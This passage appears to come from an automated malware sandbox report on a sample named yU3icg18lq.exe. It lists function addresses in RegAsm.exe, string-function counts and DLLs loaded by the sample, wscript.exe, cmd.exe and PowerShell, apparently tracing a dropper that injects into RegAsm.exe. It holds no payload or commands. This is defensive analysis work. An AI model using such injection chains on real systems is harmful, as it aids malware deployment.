Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CBC	13_2_00423CBC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D5C	13_2_00423D5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D60	13_2_00423D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D64	13_2_00423D64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D68	13_2_00423D68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D6C	13_2_00423D6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D70	13_2_00423D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D74	13_2_00423D74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D78	13_2_00423D78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D7C	13_2_00423D7C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D00	13_2_00423D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D04	13_2_00423D04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D08	13_2_00423D08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D0C	13_2_00423D0C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D10	13_2_00423D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D14	13_2_00423D14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D18	13_2_00423D18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D1C	13_2_00423D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D20	13_2_00423D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D24	13_2_00423D24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D30	13_2_00423D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D34	13_2_00423D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D80	13_2_00423D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D84	13_2_00423D84
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D88	13_2_00423D88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D8C	13_2_00423D8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423D9C	13_2_00423D9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423DA0	13_2_00423DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423C74	13_2_00423C74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423E70	13_2_00423E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423E88	13_2_00423E88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423EA4	13_2_00423EA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423EA8	13_2_00423EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423F40	13_2_00423F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423F44	13_2_00423F44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423F50	13_2_00423F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423F60	13_2_00423F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423F64	13_2_00423F64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423F78	13_2_00423F78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00419F29	13_2_00419F29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423F88	13_2_00423F88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423F9B	13_2_00423F9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD535A0	13_2_6CD535A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD96CF0	13_2_6CD96CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD66C80	13_2_6CD66C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD95C10	13_2_6CD95C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDA2C10	13_2_6CDA2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDCAC00	13_2_6CDCAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD90DD0	13_2_6CD90DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD7ED10	13_2_6CD7ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD6FD00	13_2_6CD6FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD5BEF0	13_2_6CD5BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD6FEF0	13_2_6CD6FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD75E90	13_2_6CD75E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDB4EA0	13_2_6CDB4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD79E50	13_2_6CD79E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD93E50	13_2_6CD93E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDA2E4E	13_2_6CDA2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDC6E63	13_2_6CDC6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD97E10	13_2_6CD97E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDB9E30	13_2_6CDB9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD86FF0	13_2_6CD86FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD5DFE0	13_2_6CD5DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD69F00	13_2_6CD69F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD958E0	13_2_6CD958E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD78850	13_2_6CD78850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD7D850	13_2_6CD7D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD67810	13_2_6CD67810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD9B820	13_2_6CD9B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDA4820	13_2_6CDA4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDB2990	13_2_6CDB2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD8D9B0	13_2_6CD8D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD5C9A0	13_2_6CD5C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD7A940	13_2_6CD7A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDAB970	13_2_6CDAB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD6D960	13_2_6CD6D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD98AC0	13_2_6CD98AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD71AF0	13_2_6CD71AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDCBA90	13_2_6CDCBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD6CAB0	13_2_6CD6CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDC2AB0	13_2_6CDC2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD84AA0	13_2_6CD84AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD99A60	13_2_6CD99A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD7D4D0	13_2_6CD7D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD664C0	13_2_6CD664C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD5D4E0	13_2_6CD5D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDB34A0	13_2_6CDB34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDBC4A0	13_2_6CDBC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDC545C	13_2_6CDC545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD65440	13_2_6CD65440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDC542B	13_2_6CDC542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDB85F0	13_2_6CDB85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD80512	13_2_6CD80512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDC76E3	13_2_6CDC76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDBE680	13_2_6CDBE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD74640	13_2_6CD74640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD5C670	13_2_6CD5C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDA5600	13_2_6CDA5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDA77A0	13_2_6CDA77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD97710	13_2_6CD97710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDC50C7	13_2_6CDC50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD7C0E0	13_2_6CD7C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD860A0	13_2_6CD860A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD9F070	13_2_6CD9F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD95190	13_2_6CD95190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDCB170	13_2_6CDCB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD9E2F0	13_2_6CD9E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD522A0	13_2_6CD522A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDC53C8	13_2_6CDC53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD5F380	13_2_6CD5F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD55340	13_2_6CD55340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD6C370	13_2_6CD6C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD9D320	13_2_6CD9D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDFECC0	13_2_6CDFECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CE5ECD0	13_2_6CE5ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CE0AC60	13_2_6CE0AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CEDAC30	13_2_6CEDAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CEC6C00	13_2_6CEC6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CF8CDC0	13_2_6CF8CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CE04DB0	13_2_6CE04DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CE96D90	13_2_6CE96D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CECED70	13_2_6CECED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CF2AD50	13_2_6CF2AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CF88D20	13_2_6CF88D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CE0AEC0	13_2_6CE0AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CEA0EC0	13_2_6CEA0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CE86E90	13_2_6CE86E90

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CD8CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CF809D0 appears 32 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004164BE appears 97 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CD994D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00401FE7 appears 286 times

Source: yU3icg18lq.exe, 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWiFiDisplay.exeDVarFileInfo$ vs yU3icg18lq.exe
Source: yU3icg18lq.exe	Binary or memory string: OriginalFilenameWiFiDisplay.exeDVarFileInfo$ vs yU3icg18lq.exe

Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
